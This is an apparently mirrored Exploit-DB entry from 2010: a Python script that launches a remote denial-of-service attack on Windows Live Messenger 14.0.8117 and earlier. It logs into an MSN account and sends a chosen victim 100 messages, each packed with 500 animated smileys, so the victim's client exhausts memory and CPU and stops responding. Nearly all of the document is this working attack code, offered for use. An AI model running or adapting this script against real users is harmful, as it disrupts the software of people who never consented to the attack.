Microsoft Windows Live Messenger 14.0.8117 – Animation Remote Denial of Service - 体验盒子

作者： TheLeader

日期： 2010-08-11

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/14613/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

# Exploit Title: Windows Live Messenger <= 14.0.8117 animation remote Denial of Service

# Date: 11/08/2010

# Author: TheLeader

# Email: gsog2009 [a7] hotmail [d0t] com

# Software Link: http://explore.live.com/windows-live-messenger

# Version: 14.0.8117 and prior

# Tested on: Windows 7 x86

# msnlib required: http://blitiri.com.ar/p/msnlib/

# Greets: forums.hacking.org.il - <3UGUYS

# SP. thx goes to Alberto <albertito [a7] blitiri [d0t] com [d0t] ar> for

#the msnlib library / Original msnbot example (that I modded =] )

# Description:

# Windows Live Messenger is prone to a Denial of Service attack. By sending

# specially crafted messages that contain a large number of animations ("Smileys"),

# it is possible to make WLM consume large amounts of memory and CPU while

# it attempts to render the animated images, causing it to stop responding.

import sys

import time

import select

import socket

import thread

import msnlib

import msncb

payload = ":'(" * 500

m = msnlib.msnd()

m.cb = msncb.cb()

def do_work():

time.sleep(15)

for i in range(100):

print m.sendmsg(victim, payload)

time.sleep(30)

quit()

try:

m.email = sys.argv[1]

m.pwd = sys.argv[2]

victim = sys.argv[3]

except:

print "Usage: msnkeep.py account password victim_account"

sys.exit(1)

m.login()

m.sync()

m.change_status("online")

def quit():

try:

m.disconnect()

except:

pass

sys.exit(0)

thread.start_new_thread(do_work, ())

while 1:

t = m.pollable()

infd = t[0]

outfd = t[1]

try:

fds = select.select(infd, outfd, [], 0)

except:

quit()

for i in fds[0] + fds[1]:

try:

m.read(i)

except ('SocketError', socket.error), err:

if i != m:

m.close(i)

else:

quit()

time.sleep(0.01)